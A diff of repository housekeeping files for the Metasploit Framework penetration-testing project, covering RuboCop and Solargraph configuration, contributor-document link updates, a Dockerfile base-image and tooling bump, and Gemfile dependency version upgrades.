wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||
|
||||
# Aliases for utility author names. Since they're fake, typos abound
|
||||
@@ -185,4 +183,4 @@ Jenkins Bot <jenkins@rapid7.com> Jenkins <jenkins@rapid7.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
|
||||
+222
-5
@@ -22,6 +22,7 @@ require:
|
||||
- ./lib/rubocop/cop/lint/module_disclosure_date_present.rb
|
||||
- ./lib/rubocop/cop/lint/deprecated_gem_version.rb
|
||||
- ./lib/rubocop/cop/lint/module_enforce_notes.rb
|
||||
- ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
|
||||
|
||||
Layout/SpaceBeforeBrackets:
|
||||
Description: >-
|
||||
@@ -79,6 +80,17 @@ Lint/UnexpectedBlockArity:
|
||||
Lint/UnmodifiedReduceAccumulator:
|
||||
Enabled: true
|
||||
|
||||
Lint/UnusedMethodArgument:
|
||||
Description: >-
|
||||
Disabled on files under the lib/ directory (aka library files)
|
||||
as this can break YARD documentation since YARD doesn't recognize
|
||||
the _ prefix before parameter names and thinks its a different argument.
|
||||
See https://github.com/rapid7/metasploit-framework/pull/17735
|
||||
Also see https://github.com/rubocop/rubocop/pull/11020
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'lib/**/*'
|
||||
|
||||
Style/ArgumentsForwarding:
|
||||
Enabled: true
|
||||
|
||||
@@ -155,6 +167,9 @@ Layout/ModuleHashValuesOnSameLine:
|
||||
Layout/ModuleDescriptionIndentation:
|
||||
Enabled: true
|
||||
|
||||
Lint/DetectInvalidPackDirectives:
|
||||
Enabled: true
|
||||
|
||||
Lint/ModuleDisclosureDateFormat:
|
||||
Enabled: true
|
||||
|
||||
@@ -175,12 +190,13 @@ Lint/DeprecatedGemVersion:
|
||||
Exclude:
|
||||
- 'metasploit-framework.gemspec'
|
||||
|
||||
Metrics/ClassLength:
|
||||
Metrics/ModuleLength:
|
||||
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||
Enabled: true
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
- 'test/modules/**/*'
|
||||
Enabled: false
|
||||
|
||||
Metrics/ClassLength:
|
||||
Description: 'Most Metasploit classes are quite large. This is ok.'
|
||||
Enabled: false
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
@@ -217,6 +233,10 @@ Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
|
||||
Style/MutableConstant:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
|
||||
Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
@@ -253,6 +273,18 @@ Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/EvenOdd:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/FloatDivision:
|
||||
Description: 'Not a safe rule to run on Metasploit without manual verification as the right hand side may be a string'
|
||||
Enabled: false
|
||||
|
||||
Style/FormatString:
|
||||
Description: 'Not a safe rule to run on Metasploit without manual verification that the format is not redefined/shadowed'
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
@@ -350,6 +382,191 @@ Naming/MethodParameterName:
|
||||
Description: 'Whoever made this requirement never looked at crypto methods, IV'
|
||||
MinNameLength: 2
|
||||
|
||||
Naming/PredicateName:
|
||||
Enabled: true
|
||||
# Current methods that break the rule, so that we don't add additional methods that break the convention
|
||||
AllowedMethods:
|
||||
- has_additional_info?
|
||||
- has_advanced_options?
|
||||
- has_auth
|
||||
- has_auto_target?
|
||||
- has_bad_activex?
|
||||
- has_badchars?
|
||||
- has_chars?
|
||||
- has_check?
|
||||
- has_command?
|
||||
- has_content_type_extension?
|
||||
- has_datastore_cred?
|
||||
- has_evasion_options?
|
||||
- has_fatal_errors?
|
||||
- has_fields
|
||||
- has_files?
|
||||
- has_flag?
|
||||
- has_function_name?
|
||||
- has_gcc?
|
||||
- has_h2_headings
|
||||
- has_input_name?
|
||||
- has_j_security_check?
|
||||
- has_key?
|
||||
- has_match?
|
||||
- has_module
|
||||
- has_object_ref
|
||||
- has_objects_list
|
||||
- has_options?
|
||||
- has_page?
|
||||
- has_passphrase?
|
||||
- has_pid?
|
||||
- has_pkt_line_data?
|
||||
- has_prereqs?
|
||||
- has_privacy_waiver?
|
||||
- has_privates?
|
||||
- has_protected_mode_prompt?
|
||||
- has_proxy?
|
||||
- has_read_data?
|
||||
- has_ref?
|
||||
- has_required_args
|
||||
- has_required_module_options?
|
||||
- has_requirements
|
||||
- has_rop?
|
||||
- has_s_flag?
|
||||
- has_service_cred?
|
||||
- has_subscriber?
|
||||
- has_subtree?
|
||||
- has_text
|
||||
- has_tlv?
|
||||
- has_u_flag?
|
||||
- has_users?
|
||||
- has_vuln?
|
||||
- has_waiver?
|
||||
- have_auth_error?
|
||||
- have_powershell?
|
||||
- is_accessible?
|
||||
- is_admin?
|
||||
- is_alive?
|
||||
- is_alpha_web_server?
|
||||
- is_android?
|
||||
- is_app_binom3?
|
||||
- is_app_carlogavazzi?
|
||||
- is_app_cnpilot?
|
||||
- is_app_epaduo?
|
||||
- is_app_epmp1000?
|
||||
- is_app_infovista?
|
||||
- is_app_ironport?
|
||||
- is_app_metweblog?
|
||||
- is_app_oilom?
|
||||
- is_app_openmind?
|
||||
- is_app_popad?
|
||||
- is_app_radware?
|
||||
- is_app_rfreader?
|
||||
- is_app_sentry?
|
||||
- is_app_sevone?
|
||||
- is_app_splunk?
|
||||
- is_app_ssl_vpn?
|
||||
- is_array_type?
|
||||
- is_auth_required?
|
||||
- is_author_blacklisted?
|
||||
- is_badchar
|
||||
- is_base64?
|
||||
- is_bind?
|
||||
- is_cached_size_accurate?
|
||||
- is_cgi_enabled?
|
||||
- is_cgi_exploitable?
|
||||
- is_check_interesting?
|
||||
- is_child_of?
|
||||
- is_clr_enabled
|
||||
- is_connect?
|
||||
- is_dlink?
|
||||
- is_dn?
|
||||
- is_dynamic?
|
||||
- is_error_code
|
||||
- is_exception?
|
||||
- is_exploit_module?
|
||||
- is_exploitable?
|
||||
- is_fqdn?
|
||||
- is_glob?
|
||||
- is_groupwise?
|
||||
- is_guest_mode_enabled?
|
||||
- is_hash_from_empty_pwd?
|
||||
- is_high_integrity?
|
||||
- is_hostname?
|
||||
- is_ie?
|
||||
- is_imc?
|
||||
- is_imc_som?
|
||||
- is_in_admin_group?
|
||||
- is_interface?
|
||||
- is_ip_targeted?
|
||||
- is_key_wanted?
|
||||
- is_leaf?
|
||||
- is_local?
|
||||
- is_logged_in?
|
||||
- is_loggedin
|
||||
- is_loopback_address?
|
||||
- is_mac?
|
||||
- is_match
|
||||
- is_md5_format?
|
||||
- is_module_arch?
|
||||
- is_module_platform?
|
||||
- is_module_wanted?
|
||||
- is_multi_platform_exploit?
|
||||
- is_not_null?
|
||||
- is_null_pointer
|
||||
- is_null_pointer?
|
||||
- is_num?
|
||||
- is_num_type?
|
||||
- is_numeric
|
||||
- is_online?
|
||||
- is_parseable
|
||||
- is_pass_ntlm_hash?
|
||||
- is_passwd_method?
|
||||
- is_password_required?
|
||||
- is_payload_compatible?
|
||||
- is_payload_platform_compatible?
|
||||
- is_pointer_type?
|
||||
- is_pri_key?
|
||||
- is_proficy?
|
||||
- is_rdp_up
|
||||
- is_remote_exploit?
|
||||
- is_resource_taken?
|
||||
- is_rf?
|
||||
- is_rmi?
|
||||
- is_root?
|
||||
- is_routable?
|
||||
- is_running?
|
||||
- is_scan_complete
|
||||
- is_secure_admin_disabled?
|
||||
- is_session_type?
|
||||
- is_signature_correct?
|
||||
- is_single_object?
|
||||
- is_struct_type?
|
||||
- is_supermicro?
|
||||
- is_superuser?
|
||||
- is_sws?
|
||||
- is_system?
|
||||
- is_system_user?
|
||||
- is_target?
|
||||
- is_target_suitable?
|
||||
- is_trial_enabled?
|
||||
- is_trustworthy
|
||||
- is_uac_enabled?
|
||||
- is_url_alive
|
||||
- is_usable?
|
||||
- is_uuid?
|
||||
- is_valid?
|
||||
- is_valid_bus?
|
||||
- is_valid_snmp_value
|
||||
- is_value_wanted?
|
||||
- is_version_compat?
|
||||
- is_version_tested?
|
||||
- is_vmware?
|
||||
- is_vul
|
||||
- is_vulnerable?
|
||||
- is_warbird?
|
||||
- is_windows?
|
||||
- is_writable
|
||||
- is_writable?
|
||||
- is_x86?
|
||||
- is_zigbee_hwbridge_session?
|
||||
|
||||
# %q() is super useful for long strings split over multiple lines and
|
||||
# is very common in module constructors for things like descriptions
|
||||
Style/RedundantPercentQ:
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
3.0.2
|
||||
3.0.5
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
---
|
||||
include:
|
||||
- "**/*.rb"
|
||||
exclude:
|
||||
- spec/**/*
|
||||
- test/**/*
|
||||
- vendor/**/*
|
||||
- ".bundle/**/*"
|
||||
- modules/**/*
|
||||
- data/**/*
|
||||
- db/**/*
|
||||
- external/**/*
|
||||
- plugins/**/*
|
||||
- scripts/**/* # Some of this is old and may not need indexing???
|
||||
require: []
|
||||
domains: []
|
||||
reporters:
|
||||
- rubocop
|
||||
- require_not_found
|
||||
formatter:
|
||||
rubocop:
|
||||
cops: safe
|
||||
except: []
|
||||
only: []
|
||||
extra_args: []
|
||||
require_paths: []
|
||||
plugins: []
|
||||
max_files: 0
|
||||
+1
-1
@@ -36,7 +36,7 @@ when an individual is representing the project or its community.
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting the project maintainers at msfdev@metasploit.com. If
|
||||
the incident involves a committer, you may report directly to
|
||||
the incident involves a committer, you may report it directly to
|
||||
caitlin_condon@rapid7.com or todb@metasploit.com.
|
||||
|
||||
All complaints will be reviewed and investigated and will result in a
|
||||
|
||||
+5
-5
@@ -1,6 +1,6 @@
|
||||
# Contributing to Metasploit
|
||||
Thank you for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
|
||||
world -- a better place! Before you get started, please review our [Code of Conduct](./CODE_OF_CONDUCT.md). This helps us ensure our community is positive and supportive for everyone involved.
|
||||
|
||||
## Code Free Contributions
|
||||
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
|
||||
@@ -15,9 +15,9 @@ Before we get into the details of contributing code, you should know there are m
|
||||
|
||||
|
||||
## Code Contributions
|
||||
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/Get-Started-Writing-an-Exploit). It will help you to get started and avoid some common mistakes.
|
||||
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://docs.metasploit.com/docs/development/developing-modules/guides/get-started-writing-an-exploit.html). It will help you to get started and avoid some common mistakes.
|
||||
|
||||
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
|
||||
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://docs.metasploit.com/docs/development/maintainers/process/guidelines-for-accepting-modules-and-enhancements.html#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
|
||||
|
||||
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
|
||||
will be closed. We need to ensure the code we're adding to master is written to a high standard.
|
||||
@@ -83,7 +83,7 @@ If you need some more guidance, talk to the main body of open source contributor
|
||||
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
|
||||
curve, so keep it up!
|
||||
|
||||
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
|
||||
[Code of Conduct]:https://docs.metasploit.com/docs/code-of-conduct.html
|
||||
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
|
||||
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
|
||||
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
|
||||
@@ -101,7 +101,7 @@ curve, so keep it up!
|
||||
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
[API]:https://rapid7.github.io/metasploit-framework/api
|
||||
[module documentation]:https://github.com/rapid7/metasploit-framework/wiki/Module-Documentation
|
||||
[module documentation]:https://docs.metasploit.com/docs/using-metasploit/basics/module-documentation.html
|
||||
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
|
||||
[RSpec]:http://rspec.info
|
||||
[Better Specs]:http://www.betterspecs.org/
|
||||
|
||||
+10
-7
@@ -1,4 +1,4 @@
|
||||
FROM ruby:3.0.2-alpine3.12 AS builder
|
||||
FROM ruby:3.0.5-alpine3.15 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
@@ -40,15 +40,16 @@ RUN apk add --no-cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
ENV GO111MODULE=off
|
||||
RUN mkdir -p $TOOLS_HOME/bin && \
|
||||
cd $TOOLS_HOME/bin && \
|
||||
curl -O https://dl.google.com/go/go1.11.2.src.tar.gz && \
|
||||
tar -zxf go1.11.2.src.tar.gz && \
|
||||
rm go1.11.2.src.tar.gz && \
|
||||
curl -O https://dl.google.com/go/go1.21.1.src.tar.gz && \
|
||||
tar -zxf go1.21.1.src.tar.gz && \
|
||||
rm go1.21.1.src.tar.gz && \
|
||||
cd go/src && \
|
||||
./make.bash
|
||||
|
||||
FROM ruby:3.0.2-alpine3.12
|
||||
FROM ruby:3.0.5-alpine3.15
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
@@ -59,7 +60,9 @@ ENV METASPLOIT_GROUP=metasploit
|
||||
# used for the copy command
|
||||
RUN addgroup -S $METASPLOIT_GROUP
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk python2-dev openssl-dev nasm mingw-w64-gcc
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
|
||||
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
|
||||
openssl-dev nasm mingw-w64-gcc
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
@@ -72,7 +75,7 @@ RUN chown -R root:metasploit $APP_HOME/
|
||||
RUN chmod 664 $APP_HOME/Gemfile.lock
|
||||
RUN gem update --system
|
||||
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
|
||||
RUN curl -L -O https://github.com/pypa/get-pip/raw/3843bff3a0a61da5b63ea0b7d34794c5c51a2f11/get-pip.py && python get-pip.py && rm get-pip.py
|
||||
RUN curl -L -O https://raw.githubusercontent.com/pypa/get-pip/f84b65709d4b20221b7dbee900dbf9985a81b5d4/public/get-pip.py && python3 get-pip.py && rm get-pip.py
|
||||
RUN pip install impacket
|
||||
RUN pip install requests
|
||||
|
||||
|
||||
@@ -16,6 +16,9 @@ group :development do
|
||||
gem 'yard'
|
||||
# for development and testing purposes
|
||||
gem 'pry-byebug'
|
||||
# Ruby Debugging Library - rebuilt and included by default from Ruby 3.1 onwards.
|
||||
# Replaces the old lib/debug.rb and provides more features.
|
||||
gem 'debug', '>= 1.0.0'
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# memory profiling
|
||||
@@ -24,25 +27,28 @@ group :development do
|
||||
gem 'ruby-prof', '1.4.2'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
# gem 'metasploit-aggregator'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_bot_rails'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
# Required during CI as well local development
|
||||
gem 'rubocop'
|
||||
end
|
||||
|
||||
group :test do
|
||||
# automatically include factories from spec/factories
|
||||
gem 'test-prof'
|
||||
gem 'factory_bot_rails'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat'
|
||||
# rspec formatter for acceptance tests
|
||||
gem 'allure-rspec'
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
||||
|
||||
+245
-193
@@ -1,17 +1,20 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.9)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
metasploit-framework (6.3.39)
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
aws-sdk-ec2
|
||||
aws-sdk-ec2instanceconnect
|
||||
aws-sdk-iam
|
||||
aws-sdk-s3
|
||||
aws-sdk-ssm
|
||||
bcrypt
|
||||
bcrypt_pbkdf
|
||||
bootsnap
|
||||
bson
|
||||
concurrent-ruby (= 1.0.5)
|
||||
chunky_png
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
@@ -23,26 +26,27 @@ PATH
|
||||
filesize
|
||||
hrr_rb_ssh-ed25519
|
||||
http-cookie
|
||||
irb
|
||||
irb (~> 1.7.4)
|
||||
jsobfu
|
||||
json
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.94)
|
||||
metasploit-payloads (= 2.0.156)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.18)
|
||||
metasploit_payloads-mettle (= 1.0.26)
|
||||
mqtt
|
||||
msgpack
|
||||
msgpack (~> 1.6.0)
|
||||
nessus_rest
|
||||
net-imap
|
||||
net-ldap
|
||||
net-smtp
|
||||
net-ssh
|
||||
network_interface
|
||||
nexpose
|
||||
nokogiri
|
||||
octokit
|
||||
nokogiri (~> 1.14.0)
|
||||
octokit (~> 4.0)
|
||||
openssl-ccm
|
||||
openvas-omp
|
||||
packetfu
|
||||
@@ -52,10 +56,10 @@ PATH
|
||||
pg
|
||||
puma
|
||||
railties
|
||||
rasn1
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
reline (= 0.2.5)
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
@@ -75,7 +79,8 @@ PATH
|
||||
rex-text
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby_smb (~> 3.1.0)
|
||||
ruby-mysql
|
||||
ruby_smb (~> 3.2.0)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
@@ -98,73 +103,93 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (6.1.6)
|
||||
actionview (= 6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
rack (~> 2.0, >= 2.0.9)
|
||||
actionpack (7.0.8)
|
||||
actionview (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
actionview (7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
activerecord (6.1.6)
|
||||
activemodel (= 6.1.6)
|
||||
activesupport (= 6.1.6)
|
||||
activesupport (6.1.6)
|
||||
activemodel (7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
activerecord (7.0.8)
|
||||
activemodel (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
activesupport (7.0.8)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
zeitwerk (~> 2.3)
|
||||
addressable (2.8.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
addressable (2.8.5)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
afm (0.2.2)
|
||||
allure-rspec (2.23.0)
|
||||
allure-ruby-commons (= 2.23.0)
|
||||
rspec-core (>= 3.8, < 4)
|
||||
allure-ruby-commons (2.23.0)
|
||||
mime-types (>= 3.3, < 4)
|
||||
require_all (>= 2, < 4)
|
||||
rspec-expectations (~> 3.12)
|
||||
uuid (>= 2.3, < 3)
|
||||
arel-helpers (2.14.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.602.0)
|
||||
aws-sdk-core (3.131.2)
|
||||
aws-partitions (1.834.0)
|
||||
aws-sdk-core (3.185.1)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.525.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.320.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-ec2 (1.411.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.69.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-ec2instanceconnect (1.34.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.57.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-iam (1.87.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.114.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-kms (1.72.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.136.0)
|
||||
aws-sdk-core (~> 3, >= 3.181.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
aws-sigv4 (1.5.0)
|
||||
aws-sigv4 (~> 1.6)
|
||||
aws-sdk-ssm (1.158.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.6.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.18)
|
||||
base64 (0.1.1)
|
||||
bcrypt (3.1.19)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bindata (2.4.10)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.16.0)
|
||||
msgpack (~> 1.2)
|
||||
bson (4.15.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.0.5)
|
||||
concurrent-ruby (1.2.2)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
date (3.3.3)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
digest (3.1.0)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
dnsruby (1.70.0)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.0)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
@@ -177,25 +202,26 @@ GEM
|
||||
http_parser.rb (>= 0.6.0)
|
||||
em-socksify (0.3.2)
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.10.0)
|
||||
erubi (1.12.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.2.1)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
railties (>= 5.0.0)
|
||||
faker (2.21.0)
|
||||
faker (3.2.1)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.3.0)
|
||||
faraday-net_http (~> 2.0)
|
||||
faraday (2.7.11)
|
||||
base64
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (2.0.3)
|
||||
faraday-retry (2.0.0)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.2.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
faye-websocket (0.11.3)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
ffi (1.15.5)
|
||||
ffi (1.16.3)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
gssapi (1.3.1)
|
||||
@@ -212,29 +238,33 @@ GEM
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.10.0)
|
||||
i18n (1.14.1)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.11)
|
||||
irb (1.3.6)
|
||||
reline (>= 0.2.5)
|
||||
jmespath (1.6.1)
|
||||
io-console (0.6.0)
|
||||
irb (1.7.4)
|
||||
reline (>= 0.3.6)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.6.2)
|
||||
json (2.6.3)
|
||||
language_server-protocol (3.17.0.3)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.3.1)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.18.0)
|
||||
loofah (2.21.3)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (1.0.0)
|
||||
nokogiri (>= 1.12.0)
|
||||
macaddr (1.7.2)
|
||||
systemu (~> 2.6.5)
|
||||
memory_profiler (1.0.1)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (4.0.4)
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-credential (5.0.7)
|
||||
metasploit-concern (5.0.2)
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.6)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -244,192 +274,206 @@ GEM
|
||||
rex-socket
|
||||
rubyntlm
|
||||
rubyzip
|
||||
